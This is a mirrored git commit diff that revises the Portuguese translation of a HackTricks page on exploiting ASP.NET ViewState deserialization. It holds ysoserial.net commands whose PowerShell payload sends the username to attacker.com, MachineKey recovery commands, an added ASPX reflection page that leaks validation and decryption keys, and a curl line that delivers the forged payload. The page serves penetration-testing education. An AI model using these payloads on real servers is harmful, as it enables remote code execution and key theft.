mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/pentesting-web/deserialization/exploiting-__viewstate-p
This commit is contained in:
parent
53f9f81d21
commit
7dfd0cedfc
@ -21,7 +21,7 @@ As informações do ViewState podem ser caracterizadas pelas seguintes proprieda
|
||||
|
||||
A imagem é uma tabela detalhando diferentes configurações para ViewState no ASP.NET com base na versão do framework .NET. Aqui está um resumo do conteúdo:
|
||||
|
||||
1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há um método aplicável para identificá-la.
|
||||
1. Para **qualquer versão do .NET**, quando tanto o MAC quanto a Criptografia estão desativados, uma MachineKey não é necessária, e, portanto, não há método aplicável para identificá-la.
|
||||
2. Para **versões abaixo de 4.5**, se o MAC estiver ativado, mas a Criptografia não, uma MachineKey é necessária. O método para identificar a MachineKey é referido como "Blacklist3r."
|
||||
3. Para **versões abaixo de 4.5**, independentemente de o MAC estar ativado ou desativado, se a Criptografia estiver ativada, uma MachineKey é necessária. Identificar a MachineKey é uma tarefa para "Blacklist3r - Desenvolvimento Futuro."
|
||||
4. Para **versões 4.5 e superiores**, todas as combinações de MAC e Criptografia (se ambos forem true, ou um for true e o outro false) necessitam de uma MachineKey. A MachineKey pode ser identificada usando "Blacklist3r."
|
||||
@ -34,11 +34,11 @@ HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\.NETFramework\v{VersionHere}
|
||||
```
|
||||
**Identificando Atributos ViewState**
|
||||
|
||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o Mac não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
Você pode tentar identificar se o ViewState está protegido por MAC capturando uma solicitação contendo este parâmetro com o BurpSuite. Se o MAC não for usado para proteger o parâmetro, você pode explorá-lo usando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net)
|
||||
```
|
||||
ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName"
|
||||
```
|
||||
### Test case 1.5 – Like Test case 1 but the ViewState cookie isn't sent by the server
|
||||
### Test case 1.5 – Como o Test case 1, mas o cookie ViewState não é enviado pelo servidor
|
||||
|
||||
Os desenvolvedores podem **remover ViewState** de se tornar parte de uma solicitação HTTP (o usuário não receberá esse cookie).\
|
||||
Pode-se supor que se **ViewState** **não estiver presente**, sua implementação está **segura** de quaisquer vulnerabilidades potenciais decorrentes da desserialização do ViewState.\
|
||||
@ -70,7 +70,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata /wEPDwUKLTkyMTY0M
|
||||
--encrypteddata : __VIEWSTATE parameter value of the target application
|
||||
--modifier : __VIWESTATEGENERATOR parameter value
|
||||
```
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
|
||||
[**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) é outra ferramenta que pode identificar machineKeys conhecidos. É escrita em Python, então, ao contrário do Blacklist3r, não há dependência do Windows. Para viewstates do .NET, há um utilitário "python blacklist3r", que é a maneira mais rápida de usá-lo.
|
||||
|
||||
Ele pode ser fornecido com o viewstate e o gerador diretamente:
|
||||
```
|
||||
@ -106,19 +106,19 @@ Nos casos em que o parâmetro `_VIEWSTATEGENERATOR` **não é enviado** pelo ser
|
||||
```bash
|
||||
--apppath="/" --path="/hello.aspx"
|
||||
```
|
||||
### Test Case: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||
### Caso de Teste: 3 – .Net < 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true
|
||||
|
||||
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Machine Key para criptografar seu payload** para explorar a vulnerabilidade.
|
||||
Neste caso, não se sabe se o parâmetro está protegido com MAC. Então, o valor provavelmente está criptografado e você **precisará da Chave da Máquina para criptografar seu payload** para explorar a vulnerabilidade.
|
||||
|
||||
**Neste caso, o** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **módulo está em desenvolvimento...**
|
||||
|
||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Always**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se um remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||
**Antes do .NET 4.5**, o ASP.NET pode **aceitar** um parâmetro \_`__VIEWSTATE`\_ **não criptografado** dos usuários **mesmo** que **`ViewStateEncryptionMode`** tenha sido definido como _**Sempre**_. O ASP.NET **apenas verifica** a **presença** do parâmetro **`__VIEWSTATEENCRYPTED`** na solicitação. **Se alguém remover este parâmetro e enviar o payload não criptografado, ele ainda será processado.**
|
||||
|
||||
Portanto, se os atacantes encontrarem uma maneira de obter a Machinekey através de outra vulnerabilidade, como travessia de diretórios, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||
Portanto, se os atacantes encontrarem uma maneira de obter a Chave da Máquina através de outra vulnerabilidade, como travessia de diretórios, o comando [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) usado no **Caso 2** pode ser utilizado para realizar RCE usando a vulnerabilidade de desserialização do ViewState.
|
||||
|
||||
- Remova o parâmetro `__VIEWSTATEENCRYPTED` da solicitação para explorar a vulnerabilidade de desserialização do ViewState, caso contrário, retornará um erro de validação de MAC do Viewstate e a exploração falhará.
|
||||
|
||||
### Test Case: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false, exceto ambos os atributos como false
|
||||
### Caso de Teste: 4 – .Net >= 4.5 e EnableViewStateMac=true/false e ViewStateEncryptionMode=true/false exceto ambos os atributos para false
|
||||
|
||||
Podemos forçar o uso do framework ASP.NET especificando o parâmetro abaixo dentro do arquivo web.config, conforme mostrado abaixo.
|
||||
```xml
|
||||
@ -140,7 +140,7 @@ AspDotNetWrapper.exe --keypath MachineKeys.txt --encrypteddata bcZW2sn9CbYxU47Lw
|
||||
```
|
||||
Para uma descrição mais detalhada sobre IISDirPath e TargetPagePath [consulte aqui](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
|
||||
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor de gerador):
|
||||
Ou, com [**Badsecrets**](https://github.com/blacklanternsecurity/badsecrets) (com um valor gerador):
|
||||
```bash
|
||||
cd badsecrets
|
||||
python examples/blacklist3r.py --viewstate JLFYOOegbdXmPjQou22oT2IxUwCAzSA9EAxD6+305e/4MQG7G1v5GI3wL7D94W2OGpVGrI2LCqEwDoS/8JkE0rR4ak0= --generator B2774415
|
||||
@ -151,11 +151,11 @@ Uma vez que uma chave de máquina válida é identificada, **o próximo passo é
|
||||
```
|
||||
ysoserial.exe -p ViewState -g TextFormattingRunProperties -c "powershell.exe Invoke-WebRequest -Uri http://attacker.com/$env:UserName" --path="/content/default.aspx" --apppath="/" --decryptionalg="AES" --decryptionkey="F6722806843145965513817CEBDECBB1F94808E4A6C0B2F2" --validationalg="SHA1" --validationkey="C551753B0325187D1759B4FB055B44F7C5077B016C02AF674E8DE69351B69FEFD045A267308AA2DAB81B69919402D7886A6E986473EEEC9556A9003357F5ED45"
|
||||
```
|
||||
Se você tiver o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
|
||||
Se você tem o valor de `__VIEWSTATEGENERATOR`, pode tentar **usar** o parâmetro `--generator` com esse valor e **omitir** os parâmetros `--path` e `--apppath`.
|
||||
|
||||

|
||||
|
||||
Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState resultará em uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
Uma exploração bem-sucedida da vulnerabilidade de desserialização do ViewState levará a uma solicitação fora de banda para um servidor controlado pelo atacante, que inclui o nome de usuário. Esse tipo de exploit é demonstrado em uma prova de conceito (PoC) que pode ser encontrada em um recurso intitulado "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Para mais detalhes sobre como o processo de exploração funciona e como utilizar ferramentas como Blacklist3r para identificar o MachineKey, você pode revisar a [PoC de Exploração Bem-Sucedida](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
|
||||
|
||||
### Caso de Teste 6 – ViewStateUserKeys está sendo usado
|
||||
|
||||
@ -166,15 +166,48 @@ Você precisa usar mais um parâmetro para criar corretamente a carga útil:
|
||||
```
|
||||
### Resultado de uma Exploração Bem-Sucedida <a href="#poc" id="poc"></a>
|
||||
|
||||
Para todos os casos de teste, se o payload ViewState YSoSerial.Net funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||
Para todos os casos de teste, se o payload YSoSerial.Net do ViewState funcionar **com sucesso**, o servidor responde com “**500 Internal server error**” tendo o conteúdo da resposta “**As informações de estado são inválidas para esta página e podem estar corrompidas**” e recebemos a requisição OOB.
|
||||
|
||||
Verifique [mais informações aqui](<https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/deserialization/[**https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https:/www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)/README.md>)
|
||||
|
||||
### Dumping de Chaves de Máquina ASP.NET via Reflection (SharPyShell/SharePoint ToolShell)
|
||||
|
||||
Atacantes que conseguem **fazer upload ou executar código ASPX arbitrário** dentro da raiz da web alvo podem recuperar diretamente as chaves secretas que protegem `__VIEWSTATE` em vez de forçá-las. Um payload mínimo que vaza as chaves aproveita classes internas do .NET através de reflection:
|
||||
```csharp
|
||||
<%@ Import Namespace="System.Web.Configuration" %>
|
||||
<%@ Import Namespace="System.Reflection" %>
|
||||
<script runat="server">
|
||||
public void Page_Load(object sender, EventArgs e)
|
||||
{
|
||||
var asm = Assembly.Load("System.Web");
|
||||
var sect = asm.GetType("System.Web.Configuration.MachineKeySection");
|
||||
var m = sect.GetMethod("GetApplicationConfig", BindingFlags.Static | BindingFlags.NonPublic);
|
||||
var cfg = (MachineKeySection)m.Invoke(null, null);
|
||||
// Output: ValidationKey|DecryptionKey|Algorithm|CompatibilityMode
|
||||
Response.Write($"{cfg.ValidationKey}|{cfg.DecryptionKey}|{cfg.Decryption}|{cfg.CompatibilityMode}");
|
||||
}
|
||||
</script>
|
||||
```
|
||||
Solicitar a página imprime a **ValidationKey**, **DecryptionKey**, o algoritmo de criptografia e o modo de compatibilidade do ASP.NET. Esses valores podem agora ser alimentados diretamente no **ysoserial.net** para criar um gadget `__VIEWSTATE` válido e assinado:
|
||||
```bash
|
||||
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
|
||||
-c "powershell -nop -c \"whoami\"" \
|
||||
--generator=<VIEWSTATE_GENERATOR> \
|
||||
--validationkey=<VALIDATION_KEY> --validationalg=<VALIDATION_ALG> \
|
||||
--decryptionkey=<DECRYPTION_KEY> --decryptionalg=<DECRYPTION_ALG> \
|
||||
--islegacy --minify
|
||||
curl "http://victim/page.aspx?__VIEWSTATE=<PAYLOAD>"
|
||||
```
|
||||
Esta **primitiva de exfiltração de chave** foi amplamente explorada contra servidores SharePoint on-prem em 2025 ("ToolShell" – CVE-2025-53770/53771), mas é aplicável a qualquer aplicação ASP.NET onde um atacante possa executar código do lado do servidor.
|
||||
|
||||
## Referências
|
||||
|
||||
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
|
||||
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
|
||||
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
|
||||
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
|
||||
- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)
|
||||
|
||||
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
Loading…
x
Reference in New Issue
Block a user